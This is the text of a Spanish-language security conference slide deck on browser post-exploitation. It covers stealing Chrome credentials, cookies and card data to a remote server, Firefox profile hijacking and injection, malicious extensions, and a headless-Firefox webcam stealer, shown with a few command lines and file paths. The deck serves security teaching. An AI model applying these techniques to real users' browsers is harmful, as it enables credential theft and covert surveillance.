Seguridad en navegadores web #bitup2018
•
0 recomendaciones•190 vistas
Seguridad en navegadores web por JoMoZa y FallFur en #bitupalicante2018
Recomendados
Más contenido relacionado
Similar a Seguridad en navegadores web #bitup2018
Similar a Seguridad en navegadores web #bitup2018 (20)
Último
Último (16)
Seguridad en navegadores web #bitup2018
- 3. QUÉ ES ESTO... Seguridad en navegadores web (chrome & firefox) Algunas técnicas ofensivas (PoCs) “Post-Explotación” Sencillos scripts en python y javascript Puntos de partida para desarrollar Hi!Bro
- 4. ZeuS Web Browser Trojan - Se detectó por primera vez en el año 2007 en EE. UU. - Afectó a los navegadores IE y Firefox (Windows) - 3.6 millones de ordenadores infectados (2009) - Puerta de entrada a otros troyanos.
- 5. ZeuS Web Browser Trojan
- 6. Principales características de ZeuS Keystroke logging - Consiste en almacenar un registro con las pulsaciones físicas de un teclado. Form grabbing - Es un tipo de malware, que trabaja recuperando las credenciales de autorización y registros de un formulario web.
- 11. Browser as a target
- 12. Browser Stealer - Cookies - Password - Postdata - Credit Cards - Session tokens
- 13. BROWSER STEALER
- 14. BROWSER STEALER BROWSERS LOCAL DATA (IN CHROME ON WIN MACHINE) ● %APPDATA%LocalGoogleChromeUser DataDefaultLogin Data" VICTIM Run payload.exe...
- 15. BROWSER STEALER BROWSERS LOCAL DATA (IN CHROME ON WIN MACHINE) ● %APPDATA%LocalGoogleChromeUser DataDefaultLogin Data" ● %APPDATA%LocalGoogleChromeUser DataDefaultCookies" ● %APPDATA%LocalGoogleChromeUser DataDefaultWeb Data" ○ Autocomplete, bank cards, browser searches ● %APPDATA%LocalGoogleChromeUser DataDefaultHistory" ○ browsing and downloads history VICTIM Run payload.exe...
- 16. BROWSER STEALER VICTI Run payload.exe... SERVER logins, history, cookies, cc’s... (base64Encoded) VICTIM BROWSERS LOCAL DATA (IN CHROME ON WIN MACHINE) ● %APPDATA%LocalGoogleChromeUser DataDefaultLogin Data" ● %APPDATA%LocalGoogleChromeUser DataDefaultCookies" ● %APPDATA%LocalGoogleChromeUser DataDefaultWeb Data" ○ Autocomplete, bank cards, browser searches ● %APPDATA%LocalGoogleChromeUser DataDefaultHistory" ○ browsing and downloads history
- 18. Profile Hijacking Todo lo que tal se guarda en un perfil %AppData%RoamingMozillaFirefoxProfiles ● firefox.exe -createProfile “<profName profPath>” ● firefox.exe -P VICTIM Run payload.exe...
- 19. Profile Hijacking VICTI Run payload.exe... SERVER GZIP Profiles Folders VICTIM Todo lo que tal se guarda en un perfil %AppData%RoamingMozillaFirefoxProfiles ● firefox.exe -createProfile “<profName profPath>” ● firefox.exe -P
- 20. Profile Hijacking VICTI Run payload.exe... SERVER GZIP Profiles Folders VICTIM Todo lo que tal se guarda en un perfil %AppData%RoamingMozillaFirefoxProfiles ● firefox.exe -createProfile “<profName profPath>” ● firefox.exe -P Unzip and create the new profile SERVER
- 24. Profile Injection %AppData%RoamingMozillaFirefoxprofiles.ini VICTI Run payload.exe... VICTI Run payload.exe... SERVER Inject fake profiles.ini (no need permissions) VICTIM
- 25. Profile Injection %AppData%RoamingMozillaFirefoxprofiles.ini prefs.js ( about:config ) VICTI Run payload.exe...Run payload.exe... SERVER Inject fake profiles.ini (no need permissions) VICTIM
- 26. Profile Injection %AppData%RoamingMozillaFirefoxprofiles.ini prefs.js ( about:config ) VICTIM Run payload.exe... VICTIM Run payload.exe... SERVER Inject fake profiles.ini (no need permissions) VICTIM
- 27. Profile Injection %AppData%RoamingMozillaFirefoxprofiles.ini prefs.js ( about:config ) VICTIM Run payload.exe... VICTIM Run payload.exe... SERVER Inject fake profiles.ini (no need permissions) VICTIM
- 28. Headless Browser
- 29. HEADLESS BROWSER ● Navegador web sin una interfaz gráfica ● Se pueden tomar screenshots. ● “No aparece en el administrador de tareas”
- 30. HEADLESS BROWSER ● Navegador web sin una interfaz gráfica ● Se pueden tomar screenshots. ● “No aparece en el administrador de tareas” DEMO
- 32. ABOUT EXTENSIONS... Malicious extensions Extensions can: ● Inject JAVASCRIPT in browsing ● Modify DOM ● Execute JS in background
- 37. ABOUT EXTENSIONS... extension.crx (zip) chrome.exe --load-extension=”Extension Path” chrome.exe --load-extension=”Extension Path” “http://<webpage>/”
- 38. The wonderful world of client side hacking
- 39. The wonderful world of client side hacking HIDDEN WEBCAM STEALER WITH HEADLESS BROWSER
- 40. The wonderful world of client side hacking HIDDEN WEBCAM STEALER WITH HEADLESS BROWSER PROFILE INJECTION + HEADLESS FIREFOX + JAVASCRIPT
- 41. The wonderful world of client side hacking HIDDEN WEBCAM STEALER WITH HEADLESS BROWSER PROFILE INJECTION + HEADLESS FIREFOX + JAVASCRIPT
- 42. The wonderful world of client side hacking HIDDEN WEBCAM STEALER WITH HEADLESS BROWSER PROFILE INJECTION + HEADLESS FIREFOX + JAVASCRIPT MEDIA.NAVIGATOR.PERMISSION.DISABLED
- 43. The wonderful world of client side hacking HIDDEN WEBCAM STEALER WITH HEADLESS BROWSER PROFILE INJECTION + HEADLESS FIREFOX + JAVASCRIPT Run payload.exe... VICTIM profile injection; firefox.exe -headless “http://recserver/”
- 45. CHROME GPO’s
- 46. CHROME GPO’s
- 47. CHROME GPO’s
- 48. CHROME GPO’s
- 49. CHROME GPO’s
- 50. CONCLUSIONES - Hacking browser (Profile Hijacking) - Client-Side Hacking (MITB) Muchas más cosas: - Master chrome file - Selenium - Headless remote debug port - Mucho javascript por aprender...
- 51. GRACIAS :-)